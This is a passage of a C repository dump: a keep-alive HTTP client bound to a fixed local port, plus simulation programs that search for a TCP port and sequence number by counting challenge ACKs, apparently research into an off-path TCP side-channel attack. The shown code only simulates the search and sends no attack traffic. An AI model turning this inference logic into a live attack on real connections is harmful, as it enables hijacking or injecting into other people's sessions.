stat"); 2589 | return NULL; 2590 | } 2591 | 2592 | if (!S_ISREG(sb.st_mode)) { 2593 | fprintf(stderr, "[!] \"%s\" is not a file.\n", file); 2594 | return NULL; 2595 | } 2596 | 2597 | if (!(pbuf = (char *)malloc(sb.st_size))) { 2598 | perror("[!] malloc"); 2599 | return NULL; 2600 | } 2601 | 2602 | if ((fd = open(file, O_RDONLY)) == -1) { 2603 | perror("[!] open"); 2604 | free(pbuf); 2605 | return NULL; 2606 | } 2607 | 2608 | nr = read(fd, pbuf, sb.st_size); 2609 | if (nr != sb.st_size) { 2610 | if (nr < 0) 2611 | perror("[!] read"); 2612 | else 2613 | fprintf(stderr, "[!] short read!\n"); 2614 | return NULL; 2615 | } 2616 | 2617 | *plen = sb.st_size; 2618 | return pbuf; 2619 | } 2620 | -------------------------------------------------------------------------------- /client.c: -------------------------------------------------------------------------------- 1 | /* 2 | * connect to an HTTP server and request HEAD / HTTP/1.0 every so often... 3 | * 4 | * -jduck 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | 19 | 20 | #ifndef LOCAL_PORT 21 | #define LOCAL_PORT 37373 22 | #endif 23 | 24 | 25 | int get_socket(void); 26 | int lookup_host(char *hostname, struct sockaddr_in *addr); 27 | 28 | 29 | int main(int argc, char *argv[]) 30 | { 31 | struct timeval connected, requested, now, diff; 32 | int sd, port = 80; 33 | struct sockaddr_in srv; 34 | const char *request = "HEAD / HTTP/1.0\r\nConnection: keep-alive\r\n\r\n"; 35 | int request_made = 0; 36 | int reqlen; 37 | 38 | reqlen = strlen(request); 39 | 40 | if (argc < 2) { 41 | printf("usage: client []\n"); 42 | return 1; 43 | } 44 | if (argc > 2) 45 | port = atoi(argv[2]); 46 | 47 | if (!lookup_host(argv[1], &srv)) 48 | return 1; 49 | srv.sin_port = htons(port); 50 | 51 | if ((sd = get_socket()) == -1) 52 | return 1; 53 | 54 | /* connect to the host */ 55 | while (1) { 56 | if (connect(sd, (struct sockaddr *)&srv, sizeof(srv)) == -1) { 57 | perror("connect"); 58 | sleep(5); 59 | continue; 60 | } 61 | 62 | gettimeofday(&connected, NULL); 63 | printf("[*] connected from port %u to %s:%d on sd %d\n", LOCAL_PORT, argv[1], port, sd); 64 | 65 | requested.tv_sec = connected.tv_sec - 59; 66 | 67 | while (1) { 68 | ssize_t nrw; 69 | char buf[1048576]; 70 | int sret; 71 | fd_set rfds; 72 | 73 | /* write the request every so often */ 74 | gettimeofday(&now, NULL); 75 | timersub(&now, &requested, &diff); 76 | if (diff.tv_sec >= 59) { 77 | printf(" sending request...\n"); 78 | nrw = write(sd, request, reqlen); 79 | if (nrw != reqlen) { 80 | if (nrw < 0) 81 | perror("write"); 82 | else 83 | printf("short write (%d)!\n", (int)nrw); 84 | break; 85 | } 86 | gettimeofday(&requested, NULL); 87 | request_made = 1; 88 | } 89 | 90 | /* see if we should read the response */ 91 | FD_ZERO(&rfds); 92 | FD_SET(fileno(stdout), &rfds); 93 | FD_SET(sd, &rfds); 94 | diff.tv_sec = 1; 95 | diff.tv_usec = 0; 96 | sret = select(sd + 1, &rfds, NULL, NULL, &diff); 97 | if (sret == -1) { 98 | perror("select"); 99 | break; 100 | } 101 | 102 | if (sret > 0) { 103 | if (FD_ISSET(fileno(stdout), &rfds)) { 104 | /* force a request */ 105 | nrw = read(fileno(stdin), buf, sizeof(buf)); 106 | requested.tv_sec -= 59; 107 | } 108 | if (FD_ISSET(sd, &rfds)) { 109 | nrw = read(sd, buf, sizeof(buf)); 110 | if (nrw > 0) { 111 | gettimeofday(&now, NULL); 112 | timersub(&now, &requested, &diff); 113 | printf(" read %d bytes of data in %lu %lu seconds\n", (int)nrw, diff.tv_sec, diff.tv_usec); 114 | if (!request_made) { 115 | printf("unexpected data:\n"); 116 | write(fileno(stdout), buf, nrw); 117 | } 118 | else 119 | request_made = 0; 120 | memcpy(&requested, &now, sizeof(requested)); 121 | } else { 122 | if (nrw < 0) 123 | perror("read"); 124 | else 125 | printf("connection closed?!\n"); 126 | break; 127 | } 128 | } 129 | } 130 | } 131 | 132 | gettimeofday(&now, NULL); 133 | timersub(&now, &connected, &diff); 134 | printf("[*] previous connection lasted %lu %lu seconds. trying to reconnect...\n", diff.tv_sec, diff.tv_usec); 135 | 136 | /* re-try to connect */ 137 | close(sd); 138 | sd = get_socket(); 139 | } 140 | 141 | return 0; 142 | } 143 | 144 | 145 | /* 146 | * attempt to resolve hostname as an ip address using inet_aton(3). if it 147 | * fails, we must have a DNS name so we try to look it up via gethostbyname(3). 148 | * if all is good, we fill in addr so that it can be returned via result 149 | * paramter, and return 1. 150 | * 151 | * if the lookup fails, we return 0. to report errors, we use herror(3) 152 | */ 153 | int lookup_host(char *hostname, struct sockaddr_in *addr) 154 | { 155 | struct hostent *hent; 156 | 157 | memset(addr, 0, sizeof(*addr)); 158 | addr->sin_family = AF_INET; 159 | if (!inet_aton(hostname, &(addr->sin_addr))) { 160 | hent = gethostbyname(hostname); 161 | if (hent == (struct hostent *)NULL) { 162 | char errstr[1024] = { 0 }; 163 | 164 | snprintf(errstr, sizeof(errstr) - 1, "[!] Unable to resolve: \"%s\"", 165 | hostname); 166 | herror(errstr); 167 | return 0; 168 | } 169 | memcpy(&(addr->sin_addr), hent->h_addr, sizeof(struct in_addr)); 170 | } 171 | return 1; 172 | } 173 | 174 | 175 | int get_socket(void) 176 | { 177 | struct sockaddr_in la; 178 | int sd, lalen, opt; 179 | 180 | /* open the socket */ 181 | if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 182 | perror("socket"); 183 | return -1; 184 | } 185 | 186 | opt = 1; 187 | if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&opt, sizeof(opt)) < 0) { 188 | perror("setsockopt"); 189 | close(sd); 190 | return -1; 191 | } 192 | 193 | memset(&la, 0, sizeof(la)); 194 | la.sin_port = htons(LOCAL_PORT); 195 | la.sin_addr.s_addr = INADDR_ANY; 196 | 197 | lalen = sizeof(la); 198 | if (bind(sd, (struct sockaddr *) &la, lalen) == -1) { 199 | perror("bind"); 200 | close(sd); 201 | return -1; 202 | } 203 | 204 | return sd; 205 | } 206 | -------------------------------------------------------------------------------- /playing/binsearch.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(int argc, char *argv[]) 6 | { 7 | int guess_start, guess_end, guess_mid; 8 | int win, round = 0; 9 | 10 | srand(getpid()); 11 | 12 | guess_start = 32768; 13 | guess_end = 65535; 14 | 15 | do { 16 | guess_mid = (guess_start + guess_end) / 2; 17 | 18 | printf("scanning %d - %d (%d packets)\n", guess_mid, guess_end - 1, (guess_end - guess_mid)); 19 | 20 | if (rand() % 1) { 21 | guess_end = guess_mid - 1; 22 | } else { 23 | guess_start = guess_mid; 24 | } 25 | 26 | if (guess_mid == guess_end - 1) 27 | break; 28 | 29 | } while (1); 30 | 31 | return 0; 32 | } 33 | -------------------------------------------------------------------------------- /playing/hybrid.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | static volatile int debug; 7 | static volatile uint32_t correct; 8 | 9 | static volatile uint32_t guess_start; 10 | static volatile uint32_t guess_end; 11 | 12 | static volatile int rounds; 13 | static volatile int seconds; 14 | 15 | 16 | #define PACKETS_PER_ROUND 4000 17 | 18 | typedef struct block_struct { 19 | u_long start; 20 | u_long end; 21 | int chacks; 22 | } block_t; 23 | 24 | 25 | #ifdef USE_SPINNER 26 | const char spintxt[] = { 27 | '/', '-', '\\', '|' 28 | }; 29 | 30 | void spinner(void) 31 | { 32 | static int pos; 33 | static int first = 1; 34 | static char buf[2]; 35 | 36 | if (pos >= (int)sizeof(spintxt)) 37 | pos = 0; 38 | if (first) { 39 | first = 0; 40 | buf[0] = '\r'; 41 | } 42 | 43 | buf[1] = spintxt[pos]; 44 | write(fileno(stdout), buf, sizeof(buf)); 45 | pos++; 46 | } 47 | #endif 48 | 49 | 50 | int binary_search(u_long start, u_long end) 51 | { 52 | u_long mid; 53 | 54 | #ifdef DEBUG_CALLS 55 | printf("binary_search(%lu, %lu)\n", start, end); 56 | #endif 57 | if (start == end) { 58 | #define DEBUG_BIN_SEARCH_WIN 59 | #ifdef DEBUG_BIN_SEARCH_WIN 60 | if (debug) 61 | printf("found instant winner: %lu\n", start); 62 | #endif 63 | return 1; 64 | } 65 | 66 | ++rounds; 67 | #define DEBUG_ROUNDS 68 | #ifdef DEBUG_ROUNDS 69 | if (debug) 70 | printf("round %d\n", rounds); 71 | #endif 72 | 73 | while (start < end) { 74 | mid = (start + end) / 2; 75 | 76 | if (correct < mid || correct >= end) { 77 | #define DEBUG_BIN_SEARCH 78 | #ifdef DEBUG_BIN_SEARCH 79 | if (debug) 80 | printf(" scanned %lu - %lu (%lu packets) - NO\n", mid, end - 1, (end - mid)); 81 | #endif 82 | end = mid; 83 | } else { 84 | #ifdef DEBUG_BIN_SEARCH 85 | if (debug) 86 | printf(" scanned %lu - %lu (%lu packets) - OK\n", mid, end - 1, (end - mid)); 87 | #endif 88 | start = mid; 89 | } 90 | 91 | seconds++; // processing one block takes one second 92 | 93 | if (mid == end - 1) { 94 | #ifdef DEBUG_BIN_SEARCH_WIN 95 | if (debug) 96 | printf("found winner: %lu\n", mid); 97 | #endif 98 | if (mid != correct) { 99 | fprintf(stderr, "WTF?\n"); 100 | return 0; 101 | } 102 | guess_start = guess_end = mid; 103 | return 1; 104 | } 105 | } 106 | 107 | fprintf(stderr, "failed to find value %lu!\n", (u_long)correct); 108 | return 0; 109 | } 110 | 111 | 112 | block_t *build_schedule(u_long start, u_long end, int *pnblocks) 113 | { 114 | int i, num, nblocks, block_sz = PACKETS_PER_ROUND; 115 | block_t *schedule = NULL; 116 | 117 | num = end - start; 118 | if (num <= block_sz) { 119 | fprintf(stderr, "WTF? don't call build_schedule with this shit!\n"); 120 | return NULL; 121 | } 122 | nblocks = (num / block_sz) + 1; 123 | 124 | //printf(" block_sz: %d\n", block_sz); 125 | 126 | schedule = (block_t *)malloc(sizeof(block_t) * nblocks); 127 | if (!schedule) { 128 | perror("malloc"); 129 | return NULL; 130 | } 131 | 132 | for (i = 0; i < nblocks; i++) { 133 | schedule[i].start = start + (i * block_sz); 134 | schedule[i].end = start + ((i + 1) * block_sz); 135 | if (schedule[i].end > end) 136 | schedule[i].end = end; 137 | 138 | //printf(" schedule[%d]: %lu - %lu\n", i, (u_long)schedule[i].start, (u_long)schedule[i].end); 139 | } 140 | 141 | *pnblocks = nblocks; 142 | return schedule; 143 | } 144 | 145 | 146 | int hybrid_search(u_long start, u_long end) 147 | { 148 | int num; 149 | 150 | #ifdef DEBUG_CALLS 151 | printf("hybrid_search(%lu, %lu)\n", start, end); 152 | #endif 153 | num = end - start; 154 | while (num > PACKETS_PER_ROUND) { 155 | int nblocks, i; 156 | block_t *round_schedule; 157 | 158 | round_schedule = build_schedule(start, end, &nblocks); 159 | if (!round_schedule) { 160 | return 0; 161 | } 162 | 163 | ++rounds; 164 | #ifdef DEBUG_ROUNDS 165 | if (debug) 166 | printf("round %d - %d blocks\n", rounds, nblocks); 167 | #endif 168 | 169 | for (i = 0; i < nblocks; i++) { 170 | round_schedule[i].chacks = 100; 171 | if (correct >= round_schedule[i].start && correct < round_schedule[i].end) { 172 | round_schedule[i].chacks = 99; 173 | } 174 | 175 | #define DEBUG_SCHEDULE 176 | #ifdef DEBUG_SCHEDULE 177 | if(debug) 178 | printf(" scanned %lu - %lu (%lu packets) - %s\n", 179 | round_schedule[i].start, 180 | round_schedule[i].end, 181 | (round_schedule[i].end - round_schedule[i].start) + 1, 182 | round_schedule[i].chacks == 99 ? "OK" : "NO"); 183 | #endif 184 | 185 | seconds++; // processing one block takes one second 186 | 187 | if (round_schedule[i].chacks == 99) { 188 | start = round_schedule[i].start; 189 | end = round_schedule[i].end; 190 | free(round_schedule); 191 | break; 192 | } 193 | } 194 | 195 | num = end - start; 196 | } 197 | 198 | return binary_search(start, end + 1); 199 | } 200 | 201 | 202 | int main(int argc, char *argv[]) 203 | { 204 | int max_rounds = 1, max_seconds = 1; 205 | int min_rounds = 99, min_seconds = 99; 206 | u_long tot_rounds = 0, tot_seconds = 0; 207 | int manual_mode = 0; 208 | int num_attempts; 209 | 210 | srand(getpid()); 211 | 212 | guess_start = 32768; 213 | guess_end = 65535; 214 | 215 | /* allow overriding the start/end */ 216 | if (argc > 1) { 217 | guess_start = atoi(argv[1]); 218 | if (guess_start > 65535) { 219 | fprintf(stderr, "invalid port: %s\n", argv[1]); 220 | return 1; 221 | } 222 | } 223 | if (argc > 2) { 224 | guess_end = atoi(argv[2]); 225 | if (guess_end > 65536) { 226 | fprintf(stderr, "invalid port: %s\n", argv[2]); 227 | return 1; 228 | } 229 | } 230 | 231 | if (guess_end < guess_start) { 232 | fprintf(stderr, "invalid range: %lu - %lu\n", (u_long)guess_start, (u_long)guess_end); 233 | return 1; 234 | } else if (guess_start == guess_end) { 235 | guess_end++; 236 | debug = 1; 237 | manual_mode = 1; 238 | } 239 | 240 | num_attempts = 0; 241 | for (correct = guess_start; correct < guess_end; correct++) { 242 | /* reset stats */ 243 | num_attempts++; 244 | rounds = 0; 245 | seconds = 0; 246 | 247 | if (!hybrid_search(guess_start, guess_end)) 248 | break; 249 | 250 | tot_rounds += rounds; 251 | if (rounds > max_rounds) 252 | max_rounds = rounds; 253 | if (rounds < min_rounds) 254 | min_rounds = rounds; 255 | 256 | tot_seconds += seconds; 257 | if (seconds > max_seconds) 258 | max_seconds = seconds; 259 | if (seconds < min_seconds) 260 | min_seconds = seconds; 261 | 262 | #ifdef USE_SPINNER 263 | spinner(); 264 | #else 265 | printf("found %lu after %d rounds and %d seconds\n", (u_long)correct, rounds, seconds); 266 | #endif 267 | 268 | if (manual_mode) 269 | break; 270 | } 271 | 272 | if (!manual_mode) 273 | printf("min/max/avg rounds: %d/%d/%lu, min/max/avg seconds: %d/%d/%lu\n", 274 | min_rounds, max_rounds, 275 | tot_rounds / num_attempts, 276 | min_seconds, max_seconds, 277 | tot_seconds / num_attempts); 278 | 279 | return 0; 280 | } 281 | -------------------------------------------------------------------------------- /playing/schedule.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define PACKETS_PER_ROUND 4000 6 | 7 | typedef struct block_struct { 8 | uint32_t start; 9 | uint32_t end; 10 | uint32_t chacks; 11 | } block_t; 12 | 13 | block_t *build_schedule(int start, int end, int *pnblocks) 14 | { 15 | int i, nblocks, num, block_sz = PACKETS_PER_ROUND; 16 | block_t *schedule = NULL; 17 | 18 | num = end - start; 19 | while (num < block_sz) { 20 | block_sz /= 2; 21 | } 22 | if (block_sz < 1) 23 | block_sz = 1; 24 | nblocks = (num / block_sz) + 1; 25 | 26 | printf(" block_sz: %d\n", block_sz); 27 | 28 | schedule = (block_t *)malloc(sizeof(block_t) * nblocks); 29 | if (!schedule) { 30 | perror("malloc"); 31 | return NULL; 32 | } 33 | 34 | for (i = 0; i < nblocks; i++) { 35 | schedule[i].start = start + (i * block_sz); 36 | schedule[i].end = start + ((i + 1) * block_sz) - 1; 37 | if (schedule[i].end > end) 38 | schedule[i].end = end; 39 | 40 | printf(" schedule[%d]: %lu - %lu\n", i, (u_long)schedule[i].start, (u_long)schedule[i].end); 41 | } 42 | 43 | *pnblocks = nblocks; 44 | return schedule; 45 | } 46 | 47 | int main(int argc, char *argv[]) 48 | { 49 | int guess_start, guess_end, nblocks; 50 | block_t *round_schedule; 51 | int win, round = 0; 52 | 53 | srand(getpid()); 54 | 55 | guess_start = 32768; 56 | guess_end = 65535; 57 | 58 | do { 59 | if (guess_start == guess_end) { 60 | printf("found port: %d\n", guess_start); 61 | break; 62 | } 63 | 64 | printf("\nround %d:\n", round + 1); 65 | round_schedule = build_schedule(guess_start, guess_end, &nblocks); 66 | if (!round_schedule) 67 | break; 68 | 69 | win = rand() % nblocks; 70 | guess_start = round_schedule[win].start; 71 | guess_end = round_schedule[win].end; 72 | free(round_schedule); 73 | 74 | round++; 75 | } while (1); 76 | 77 | return 0; 78 | } 79 | -------------------------------------------------------------------------------- /playing/seq-hybrid.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | static volatile int debug; 7 | static volatile uint32_t correct; 8 | 9 | static volatile uint32_t guess_start; 10 | static volatile uint32_t guess_end; 11 | 12 | static volatile int winsz = 29200; 13 | static volatile int half_win; 14 | 15 | static volatile int rounds; 16 | static volatile int seconds; 17 | 18 | 19 | #define PACKETS_PER_ROUND 4000 20 | 21 | typedef struct block_struct { 22 | u_long start; 23 | u_long end; 24 | int chacks; 25 | } block_t; 26 | 27 | 28 | #ifdef USE_SPINNER 29 | const char spintxt[] = { 30 | '/', '-', '\\', '|' 31 | }; 32 | 33 | void spinner(void) 34 | { 35 | static int pos; 36 | static int first = 1; 37 | static char buf[2]; 38 | 39 | if (pos >= (int)sizeof(spintxt)) 40 | pos = 0; 41 | if (first) { 42 | first = 0; 43 | buf[0] = '\r'; 44 | } 45 | 46 | buf[1] = spintxt[pos]; 47 | write(fileno(stdout), buf, sizeof(buf)); 48 | pos++; 49 | } 50 | #endif 51 | 52 | 53 | int in_seq_window(u_long seq_guess) 54 | { 55 | uint32_t correct_end = correct + winsz; 56 | 57 | if (correct_end < correct) { 58 | if (seq_guess >= correct || seq_guess < correct_end) 59 | return 1; 60 | } else if (seq_guess >= correct && seq_guess < correct_end) { 61 | return 1; 62 | } 63 | return 0; 64 | } 65 | 66 | 67 | int binary_search(u_long start, u_long end) 68 | { 69 | u_long mid; 70 | 71 | #ifdef DEBUG_CALLS 72 | printf("binary_search(%lu, %lu)\n", start, end); 73 | #endif 74 | if (start == end) { 75 | #define DEBUG_BIN_SEARCH_WIN 76 | #ifdef DEBUG_BIN_SEARCH_WIN 77 | if (debug) 78 | printf("found instant winner: %lu\n", start); 79 | #endif 80 | return 1; 81 | } 82 | 83 | ++rounds; 84 | #define DEBUG_ROUNDS 85 | #ifdef DEBUG_ROUNDS 86 | if (debug) 87 | printf("round %d\n", rounds); 88 | #endif 89 | 90 | while (start < end) { 91 | mid = (start + end) / 2; 92 | 93 | if (correct < mid || correct >= end) { 94 | #define DEBUG_BIN_SEARCH 95 | #ifdef DEBUG_BIN_SEARCH 96 | if (debug) 97 | printf(" scanned %lu - %lu (%lu packets) - NO\n", mid, end - 1, (end - mid)); 98 | #endif 99 | end = mid; 100 | } else { 101 | #ifdef DEBUG_BIN_SEARCH 102 | if (debug) 103 | printf(" scanned %lu - %lu (%lu packets) - OK\n", mid, end - 1, (end - mid)); 104 | #endif 105 | start = mid; 106 | } 107 | 108 | seconds++; // processing one block takes one second 109 | 110 | if (mid == end - 1) { 111 | #ifdef DEBUG_BIN_SEARCH_WIN 112 | if (debug) 113 | printf("found winner: %lu\n", mid); 114 | #endif 115 | if (mid != correct) { 116 | fprintf(stderr, "WTF?\n"); 117 | return 0; 118 | } 119 | guess_start = guess_end = mid; 120 | return 1; 121 | } 122 | } 123 | 124 | #ifdef DEBUG_BIN_SEARCH_FAIL 125 | fprintf(stderr, "failed to find value %lu!\n", (u_long)correct); 126 | #endif 127 | return 0; 128 | } 129 | 130 | 131 | block_t *build_schedule(u_long start, u_long end, int *pnblocks) 132 | { 133 | int i, num, nblocks, block_sz = PACKETS_PER_ROUND; 134 | block_t *schedule = NULL; 135 | 136 | num = end - start; 137 | if (num <= block_sz) { 138 | fprintf(stderr, "WTF? don't call build_schedule with this shit!\n"); 139 | return NULL; 140 | } 141 | nblocks = (num / block_sz) + 1; 142 | 143 | //printf(" block_sz: %d\n", block_sz); 144 | 145 | schedule = (block_t *)malloc(sizeof(block_t) * nblocks); 146 | if (!schedule) { 147 | perror("malloc"); 148 | return NULL; 149 | } 150 | 151 | for (i = 0; i < nblocks; i++) { 152 | schedule[i].start = start + (i * block_sz); 153 | schedule[i].end = start + ((i + 1) * block_sz); 154 | if (schedule[i].end > end) 155 | schedule[i].end = end; 156 | 157 | //printf(" schedule[%d]: %lu - %lu\n", i, (u_long)schedule[i].start, (u_long)schedule[i].end); 158 | } 159 | 160 | *pnblocks = nblocks; 161 | return schedule; 162 | } 163 | 164 | 165 | block_t *build_schedule_reverse(u_long start, u_long end, int *pnblocks) 166 | { 167 | int i, num, nblocks, block_sz = PACKETS_PER_ROUND; 168 | block_t *schedule = NULL; 169 | 170 | num = end - start; 171 | if (num <= block_sz) { 172 | fprintf(stderr, "WTF? don't call build_schedule_reverse with this shit!\n"); 173 | return NULL; 174 | } 175 | nblocks = (num / block_sz) + 1; 176 | 177 | //printf(" block_sz: %d\n", block_sz); 178 | 179 | schedule = (block_t *)malloc(sizeof(block_t) * nblocks); 180 | if (!schedule) { 181 | perror("malloc"); 182 | return NULL; 183 | } 184 | 185 | for (i = 0; i < nblocks; i++) { 186 | if ((u_long)((i + 1) * block_sz) > end) 187 | schedule[i].start = start; 188 | else 189 | schedule[i].start = end - ((i + 1) * block_sz); 190 | schedule[i].end = end - (i * block_sz); 191 | if (schedule[i].end > end) 192 | schedule[i].end = end; 193 | //printf(" REV schedule[%d]: %lu - %lu\n", i, (u_long)schedule[i].start, (u_long)schedule[i].end); 194 | } 195 | 196 | *pnblocks = nblocks; 197 | return schedule; 198 | } 199 | 200 | 201 | int hybrid_search(u_long start, u_long end) 202 | { 203 | int num, found; 204 | 205 | #ifdef DEBUG_CALLS 206 | printf("hybrid_search(%lu, %lu)\n", start, end); 207 | #endif 208 | num = end - start; 209 | while (num > PACKETS_PER_ROUND) { 210 | int nblocks, i; 211 | block_t *round_schedule; 212 | 213 | /* reverse the order of the schedule as higher values are more likely 214 | * to be correct */ 215 | round_schedule = build_schedule_reverse(start, end, &nblocks); 216 | if (!round_schedule) { 217 | return 0; 218 | } 219 | 220 | ++rounds; 221 | #ifdef DEBUG_ROUNDS 222 | if (debug) 223 | printf("round %d - %d blocks\n", rounds, nblocks); 224 | #endif 225 | 226 | found = 0; 227 | for (i = 0; i < nblocks; i++) { 228 | u_long seq_guess; 229 | 230 | round_schedule[i].chacks = 100; 231 | for (seq_guess = round_schedule[i].start; seq_guess <= round_schedule[i].end; seq_guess++) { 232 | if (seq_guess == correct) 233 | round_schedule[i].chacks--; 234 | /* 235 | if (in_seq_window(seq_guess)) 236 | round_schedule[i].chacks--; 237 | */ 238 | } 239 | 240 | seconds++; // processing one block takes one second 241 | 242 | #define DEBUG_SCHEDULE 243 | #ifdef DEBUG_SCHEDULE 244 | if(debug) { 245 | u_long start_seq = round_schedule[i].start; // * half_win; 246 | u_long end_seq = round_schedule[i].end; // * half_win; 247 | 248 | printf(" scanned %lu - %lu (%lu packets) - %d chacks\n", 249 | start_seq, end_seq, 250 | (round_schedule[i].end - round_schedule[i].start) + 1, 251 | round_schedule[i].chacks); 252 | } 253 | #endif 254 | 255 | if (round_schedule[i].chacks < 100) { 256 | start = round_schedule[i].start; 257 | end = round_schedule[i].end; 258 | free(round_schedule); 259 | found = 1; 260 | break; 261 | } 262 | } 263 | 264 | if (!found) { 265 | fprintf(stderr, "[!] sequence number not found?!\n"); 266 | return 0; 267 | } 268 | 269 | num = end - start; 270 | } 271 | 272 | return binary_search(start, end + 1); 273 | } 274 | 275 | 276 | int infer_seq_step1(int *pchacks) 277 | { 278 | int seq_nblocks, nblocks, i, found; 279 | block_t *round_schedule; 280 | u_long tmp; 281 | 282 | /* build a schedule to search for windows that trigger chacks < 100 */ 283 | seq_nblocks = (UINT32_MAX / half_win) + 1; 284 | round_schedule = build_schedule(0, seq_nblocks, &nblocks); 285 | if (!round_schedule) { 286 | return 0; 287 | } 288 | 289 | ++rounds; 290 | #ifdef DEBUG_ROUNDS 291 | if (debug) 292 | printf("round %d - %d blocks\n", rounds, nblocks); 293 | #endif 294 | 295 | /* process the blocks of window-based guesses */ 296 | found = 0; 297 | for (i = 0; i < nblocks; i++) { 298 | u_long j; 299 | 300 | //printf("%d-%d (%lu)\n", round_schedule[i].start, round_schedule[i].end, (u_long)seq_guess); 301 | 302 | /* emulate the remote logic for generating challenge ACKs */ 303 | round_schedule[i].chacks = 100; 304 | for (j = round_schedule[i].start; j < round_schedule[i].end; j++) { 305 | uint32_t seq_guess = j * half_win; 306 | 307 | if (in_seq_window(seq_guess)) 308 | round_schedule[i].chacks--; 309 | } 310 | 311 | seconds++; // processing one block takes one second 312 | 313 | #define DEBUG_SCHEDULE 314 | #ifdef DEBUG_SCHEDULE 315 | if (debug) { 316 | u_long start_seq = round_schedule[i].start * half_win; 317 | u_long end_seq = round_schedule[i].end * half_win; 318 | 319 | printf(" scanned %lu - %lu (%lu packets) - %d chacks\n", 320 | start_seq, end_seq, 321 | (round_schedule[i].end - round_schedule[i].start) + 1, 322 | round_schedule[i].chacks); 323 | } 324 | #endif 325 | 326 | if (round_schedule[i].chacks < 100) { 327 | found = 1; 328 | break; 329 | 330 | /* should we keep processing the schedule? 331 | * if the window size is wrong, it could trigger in multiple chunks */ 332 | 333 | /* NO. the only case where multiple chunks triggers is when 334 | * the guessed window size is less than the real window and the 335 | * two blocks straddle a packets-per-second split. 336 | * 337 | * in that case, the first trigger is sufficient for further 338 | * searching efforts since we know the actual sequence number 339 | * is to the left. 340 | */ 341 | } 342 | } 343 | 344 | if (!found) { 345 | fprintf(stderr, "[!] sequence number is not in any window?!\n"); 346 | return 0; 347 | } 348 | 349 | /* success! we have a block of windows to search further */ 350 | guess_start = round_schedule[i].start * half_win; 351 | tmp = round_schedule[i].end * half_win; 352 | if (tmp > UINT32_MAX) 353 | tmp = UINT32_MAX; 354 | guess_end = tmp; 355 | *pchacks = round_schedule[i].chacks; 356 | free(round_schedule); 357 | 358 | return 1; 359 | } 360 | 361 | 362 | int infer_seq_step2(void) 363 | { 364 | u_long start, end, mid; 365 | 366 | start = guess_start / half_win; 367 | end = (guess_end / half_win) + 1; 368 | 369 | ++rounds; 370 | #ifdef DEBUG_ROUNDS 371 | if (debug) 372 | printf("round %d\n", rounds); 373 | #endif 374 | 375 | while (start < end) { 376 | int chacks = 100; 377 | u_long guess, mid_seq, end_seq; 378 | 379 | mid = (start + end) / 2; 380 | mid_seq = mid * half_win; 381 | end_seq = end * half_win; 382 | 383 | // XXX: TODO: optimize last part! 384 | //if (end - mid < 14) { 385 | //} else { 386 | 387 | /* see which of these fall in the window */ 388 | for (guess = mid; guess < end; guess++) { 389 | uint32_t seq_guess = guess * half_win; 390 | 391 | if (in_seq_window(seq_guess)) 392 | chacks--; 393 | } 394 | 395 | if (chacks == 100) { 396 | #define DEBUG_BIN_SEARCH 397 | #ifdef DEBUG_BIN_SEARCH 398 | if (debug) 399 | printf(" scanned %lu - %lu (%lu packets) - NO\n", mid_seq, end_seq - 1, (end - mid)); 400 | #endif 401 | end = mid; 402 | } else { 403 | #ifdef DEBUG_BIN_SEARCH 404 | if (debug) 405 | printf(" scanned %lu - %lu (%lu packets) - OK\n", mid_seq, end_seq - 1, (end - mid)); 406 | #endif 407 | start = mid; 408 | } 409 | 410 | seconds++; // processing one block takes one second 411 | 412 | if (mid == end - 1) { 413 | #ifdef DEBUG_BIN_SEARCH_WIN 414 | if (debug) 415 | printf("found winner window: %lu\n", mid_seq); 416 | #endif 417 | guess_start = mid_seq - half_win; 418 | guess_end = mid_seq; 419 | return 1; 420 | } 421 | } 422 | 423 | fprintf(stderr, "failed to find window value %lu!\n", (u_long)correct); 424 | return 0; 425 | } 426 | 427 | 428 | int main(int argc, char *argv[]) 429 | { 430 | int max_rounds = 1, max_seconds = 1; 431 | int min_rounds = 99, min_seconds = 99; 432 | u_long tot_rounds = 0, tot_seconds = 0; 433 | int manual_mode = 0; 434 | int num_attempts; 435 | int x; 436 | #define NUM_TESTS 4096 // 1048576 437 | uint32_t test_cases[NUM_TESTS] = { 438 | 0, 0, 0, 0, 1, 31337, 1831146600, 1831146601, UINT32_MAX 439 | }; 440 | 441 | srand(getpid()); 442 | 443 | /* set up the window size */ 444 | if (argc > 1) 445 | winsz = atoi(argv[1]); 446 | half_win = winsz; // / 2; //14600; 447 | 448 | if (argc > 2) { 449 | correct = strtoul(argv[2], NULL, 0); 450 | debug = 1; 451 | manual_mode = 1; 452 | } 453 | 454 | if (correct != 0) 455 | test_cases[0] = correct; 456 | else 457 | test_cases[0] = winsz; 458 | test_cases[2] = (winsz * 2) - 1; 459 | test_cases[3] = (winsz * 4) - 2; 460 | for (x = 9; x < (int)(sizeof(test_cases) / sizeof(test_cases[0])); x++) { 461 | test_cases[x] = (uint32_t)rand(); 462 | test_cases[x] <<= 1; 463 | test_cases[x] += rand() & 1; 464 | } 465 | 466 | num_attempts = 0; 467 | for (x = 0; x < (int)(sizeof(test_cases) / sizeof(test_cases[0])); x++) { 468 | int chacks; 469 | 470 | correct = test_cases[x]; 471 | 472 | /* reset stats */ 473 | num_attempts++; 474 | rounds = 0; 475 | seconds = 0; 476 | 477 | #define DEBUG_CORRECT 478 | #ifdef DEBUG_CORRECT 479 | if (debug) 480 | printf("\n--- winsz guess: %d, winsz: %d, window: %lu - %lu\n", half_win, winsz, (u_long)correct, (u_long)correct + winsz); 481 | #endif 482 | 483 | /* step 1 - identify the approximate sequence number range */ 484 | if (!infer_seq_step1(&chacks)) 485 | return 1; 486 | 487 | #define DEBUG_SEARCH_SEQS 488 | #ifdef DEBUG_SEARCH_SEQS 489 | if (debug) { 490 | printf("window block %lu - %lu: got %d chacks. searching further...\n", 491 | (u_long)guess_start, (u_long)guess_end, 492 | chacks); 493 | } 494 | #endif 495 | 496 | // XXX: TODO: adjust window size as needed based on chacks 497 | 498 | /* step 2 - identify the correct sequence block */ 499 | if (!infer_seq_step2()) 500 | return 